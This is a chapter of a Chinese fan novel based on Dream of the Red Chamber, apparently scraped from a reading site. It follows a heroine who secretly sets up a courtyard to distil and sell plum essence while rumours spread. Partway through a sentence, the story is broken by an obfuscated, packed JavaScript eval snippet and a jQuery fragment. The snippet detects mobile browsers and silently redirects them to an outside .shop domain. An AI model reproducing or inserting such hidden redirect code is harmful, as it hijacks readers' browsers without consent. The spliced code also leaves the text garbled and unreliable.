文趣网 > 其他小说 > 【红楼】金玉厨满堂 > 32. 置院藏机,暗起风波
    主意既定,不敢耽搁。

    趁着天色尚未大亮,春纤寻来昨日传信的采买婆子苏嫂子,悄悄将口信捎出城去。叮嘱张嬷嬷先稳住房主,议定一百六十两成交,对外只宣称是城里香料商行囤货所用,绝不吐露半分和荣国府、梨香院相关的讯息。

    交割之时不走现银大额交付,由南城脂粉铺老板娘出面,以采买名贵香料、干花药材为名,用货物折价抵付房款。银两化作一批批沉香、玫瑰干花、茉莉、冰片陆续送入新院,账目上只记商行囤货,不留银钱往来的痕迹。

    三日之内,契约、地契尽数办妥。

    新得的小院坐落在城郊一处僻静巷尾,四周皆是高高的青砖院墙,左右两户院落常年无人居住,巷内行人稀少,极是清幽。院内房屋虽有些老旧,围墙尚且坚固。

    张嬷嬷寻了几个信得过的泥水匠人,趁着白日人少,悄悄修补漏雨屋瓦,加固院墙,收拾出一间靠后院的偏房,专门用来安放蒸露器具。

    匠人只当是香料商行要用来存放贵重原料,拿了工钱便完工离去,谁也不曾多问半句。

    不过短短七八日,小院便收拾妥当。原先那一处旧小院里存放的陶罐、银甑、成套工具,趁着暮色分批搬迁过来,妥帖收进屋内。一切悄无声息,城中市井、荣国府之内,没有一人察觉到这一场隐秘的安置。

    诸事安顿完毕,便是要不要重新开炉制露。

    薛令微反复斟酌,不肯急于一时。

    虽院落隐蔽,府里的危机却并未完全消散。邢夫人虽放松了盯梢,依旧时不时命钱婆子打探梨香院动静;赖公子欠下赌债四处寻钱,性情愈发急躁,谁也不知他什么时候会旧事重提。

    于是定下规矩,先静守半月,等院落彻底安顿,邻里渐渐习惯这处“香料货仓”之后,再少量试制,不可一下子大批量制作售卖。

    只先小范围供给脂粉铺几位相熟的老主顾,绝不大肆扩张,尽量压低动静。

    转眼半月一晃而过。

    这日天朗气清,日头和煦。

    大观园中难得暖和,王夫人吩咐在藕香榭设下小宴,请府中姑娘、亲眷赏冬阳,吃暖酒。

    薛令微依约赴宴。

    席间推杯闲话,探春说起府下各处婆子差事,随口提了一句。

    “前几日二门盘查出入杂役,听闻赖家大公子四处借钱,亏空越拖越大,赖管家为此气得好几日不曾理事。”

    宝钗轻轻蹙眉:“赌债最是害人,若是再不约束,迟早闯出大祸,连累赖家全家。”

    众人议论几句,叹息一番,便转了话题,说起诗词典故。

    薛令微端着酒杯浅抿一口,面上神色淡淡,心底却暗自警惕。

    赖公子如今缺钱到这般地步,保不齐会疯狂四处搜寻可以勒索拿捏的把柄,万万不可露出丝毫破绽。

    宴席过半,起身走到廊下透气。

    远远便看见钱婆子假装整理廊下晾晒的布料,一双眼睛若有似无往自己身上瞟。

    薛令微神色不变,只是淡淡颔首示意,转身便往屋内走去,并不给对方打探攀谈的机会。

    钱婆子近些日子极少得到邢夫人吩咐紧盯梨香院,只是习惯性四处张望,见她举止规矩安分,也寻不到什么异样,只得悻悻收回目光。

    宴罢散席,回到梨香院,暮色已经垂落。

    刚落座,门外小丫鬟来报,说是小厨房的婆子传话,张嬷嬷托人捎来口信,新小院一切妥当,今日可以试着小批量炼制第一批梅苓清露。

    春纤看向薛令微,轻声问道:“姑娘,今日便开炉吗?”

    “可以试做一批,切记量一定要少。”薛令微缓缓说道,“只做八瓶即可,先送四瓶给脂粉铺老板娘试探行情,剩下四瓶暂且封存院内,不要急于出手。一切务求隐秘,白日万万不可动工,只选夜深人静之时,闭门制作,烟气水汽也要小心遮掩,万万不可被巷内邻居察觉异常。”

    口信连夜送出城外。

    入夜之后,城郊小院房门紧闭,窗棂用厚布遮挡严实。

    张嬷嬷母子小心翼翼取出刷洗干净的银甑陶罐,添上提前炮制好的白梅花瓣与泉水,炉火压得极弱,悄无声息开始蒸馏。

    火光在屋内幽幽摇曳,梅香慢慢弥散在密闭房间之中,不敢外泄一丝到院外。

    整整一夜,方才炼出八瓶澄澈透亮的梅苓清露。

    玻璃瓶用厚布层层包裹,待到第二日黄昏,由脂粉铺老板娘派自己身边最信任的伙计,绕远路悄悄取走四瓶。

    拿到香露之后,老板娘心中大喜。先前不少世家小姐再三问询,苦于一直断货,四瓶香露刚摆上柜台,不过两日,便全数被预定一空,甚至还有几位夫人愿意出更高价钱预定下一批。

    老板娘悄悄托人传信进府,询问可否加大产量,多炼制一些香露供应。

    消息传回梨香院。

    春纤拿着密信,面露喜色:“姑娘,销路极好!若是扩大制作,不出半年,咱们便能攒下一大笔银钱!”

    薛令微却并未因此欣喜,指尖轻轻叩着桌沿,神色审慎。

    “越是销路顺畅,越不能贪多求快。一旦出货量大,往来取货的伙计频繁出入城郊小巷,时日一长,难免引人注意。先维持少量供给,每月至多两到三批,切莫急着积攒银两。”

    她心里清楚,如今的安稳只是表面,只要还寄身在荣国府,头顶便始

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761960|209609||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    终悬着一把利刃。

    只是世事往往难以尽如人意。

    城中有一位富商小姐,先前一直偏爱梅苓清露,听闻香露终于再度供货,一次性预定六瓶。老板娘手头现货不足,心急之下,便差遣伙计第二日一早,直接去往城郊小院取货。

    往日皆是黄昏入夜之后取货,这一日偏偏选了白日正午。

    那伙计赶着一辆不起眼的小驴车,停在小院巷口,正要推门进去取香露。

    偏巧巷口一个闲坐的老妇人无事晒太阳,看见常有陌生伙计时不时来到这座常年锁闭的小院,心中暗暗起了好奇。

    这老妇人平日里最爱打听街坊闲事,见白日也有人前来,便暗暗记在了心里。

    几日之后,城中庙会,老妇人前去赶庙会,恰好遇见一个从前在荣国府外做过杂役的同乡,两人闲谈唠嗑,老妇人便随口说起了这件怪事。

    “城郊巷子里头那座空院,最近总有城里伙计悄悄进出,神神秘秘,也不知道里面到底是做什么营生的。”

    那同乡也是个好事之人,听了这话便留了心思。

    这话如同一粒细小石子投入湖面,悄无声息漾开一圈极淡的涟漪,谁也不曾料到,一句市井闲话,日后竟会悄悄传回荣国府。

    府内这边,日子依旧缓缓流淌。

    转眼入冬更深,开始飘起细碎小雪。

    这一日邢夫人闲来无事,唤来钱婆子问话,随口问起梨香院近日动静。

    钱婆子想了半日,回禀道:“回夫人,梨香院那位姑娘日日只是读书做针线,极少出门,瞧着安分得很,并无什么出格举动。”

    邢夫人捻着手中暖炉,淡淡“嗯”了一声,只是心底那一丝疑心,始终未曾彻底消散。

    “你也不必日日死守,隔几日多绕过去看一看便是。若是有什么外人偷偷往来传信,第一时间来回我。”

    “是,老奴记下了。”钱婆子躬身应下。

    风雪簌簌落在梨香院的窗棂之上。

    屋内炭盆燃着淡淡的暖意。

    薛令微临完一卷字帖,抬眼望向窗外漫天飞雪。

    眼下制露之事勉强重回正轨,银钱慢慢积攒,前路仿佛渐渐透出一丝微光。

    可她心中始终隐隐不安。

    这一条暗中求生的路,每往前多走一步,风险便加重一分。

    城外一句无心闲话,尚且不知会飘向何处;府内一双双暗藏提防的眼睛依旧未曾完全移开;赖公子身负巨额赌债,不知道什么时候便会铤而走险。

    大雪落满亭台楼阁,掩盖住了昨日的痕迹,却掩盖不住暗处悄然涌动的风波。

    一场看不见的暗潮,正在慢慢酝酿。